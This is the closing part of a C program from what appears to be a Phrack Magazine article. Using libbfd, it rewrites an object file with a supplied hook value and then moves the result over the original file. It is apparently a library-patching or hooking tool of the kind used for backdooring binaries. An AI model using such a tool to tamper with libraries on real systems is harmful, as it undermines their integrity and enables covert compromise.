	hookval = strtol(argv[6], NULL, 16);

	bfd_init();

  	ibfd = bfd_openr(output_filename, "i586-pc-linux-gnulibc1");
  	if (ibfd == NULL)
  	{
  		bfd_nonfatal("openr");
 	}

  	if (bfd_check_format_matches(ibfd, bfd_object, &matching))
  	{
      		bfd *obfd;

      		obfd = bfd_openw("newlib", "i586-pc-linux-gnulibc1");
	      	if (obfd == NULL) bfd_fatal("openw");

      		copy_object(ibfd, obfd);

	      	if (!bfd_close(obfd)) bfd_fatal("close");
      		if (!bfd_close(ibfd)) bfd_fatal("close");

 		execl("/bin/mv", "/bin/mv", "newlib", 
			output_filename, NULL);

    	} else {
      		bfd_fatal("format_matches");
	}
}
<-->


|EOF|-------------------------------------------------------------------------|
[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2024, Phrack Magazine.